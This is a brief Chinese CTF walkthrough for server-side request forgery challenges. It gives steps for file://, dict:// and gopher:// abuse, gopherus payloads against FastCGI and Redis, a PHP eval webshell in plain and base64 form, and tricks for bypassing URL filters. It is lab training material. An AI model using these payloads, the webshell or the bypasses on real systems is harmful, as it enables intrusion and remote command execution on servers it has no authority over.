内网访问
url=http://127.0.0.1/flag.php
直接访问就行
伪协议读取文件
网站的根目录一般都是在/var/www/html下
使用file:///协议
查看页面源代码就能看到
端口扫描
端口扫描一般都使用dict伪协议
bp爆破端口
1.url=dict://127.0.0.1:80打开bp进行抓包
2.修改数据然后攻击
3.寻找不一样的数据
4.访问端口就找到了
POST请求
1.访问127.0.0.1/flag.php
2.查看页面源代码
3.将页面源代码中的key输到框中并抓包
4.将抓到的数据包进行编码
5.将编码后数据中的%0A全都换成%0D%0A并在末尾手动加%0D%0A,然后再进行编码
6.将二次编码后的数据贴到gopher://127.0.0.1:80/_后就能得到
上传文件
1.http://127.0.0.1/flag.php发现没有提交按钮,fn+f12后在查看器下面的代码中单击鼠标右键编辑HTML添加<input type="submit" name="submit">代码
2.随便选一个不为空且不是很大的文件在提交时抓包
3.修改为
4.将修改完的数据进行二次编码
FastCGI协议
1.使用gopherus工具分别执行如下命令
python2 gopherus.py --exploit fastcgi
/var/www/html/index.php
echo "PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOz8+" | base64 -d > shell.php
2.将数据进行编码后贴在url后
3.然后查看shell.php
4.菜刀右击添加
Redis协议
1.使用gopherus工具分别执行如下命令
python2 gopherus.py --exploit redis
PHPShell
<?php @eval($_POST["cmd"]);?>
2.编码
3.查看shell.php
4.?cmd=('ls');
5.ls / 查看
6.找到flag文件后cat /查看内容
URL Bypass
请求的URL中必须包含http://notfound.ctfhub.com
我们就可以利用@符号绕过
http://notfound.ctfhub.com@127.0.0.1/flag.php
数字IP Bypass
127.0.0.1的十进制:2130706433
127.0.0.1的十六进制:0x7F000001
302跳转 Bypass
使用localhost也是一样的道理
?url=localhost/flag.php
DNS重绑定 Bypass
url=指定域名/flag.php,成功得到flag。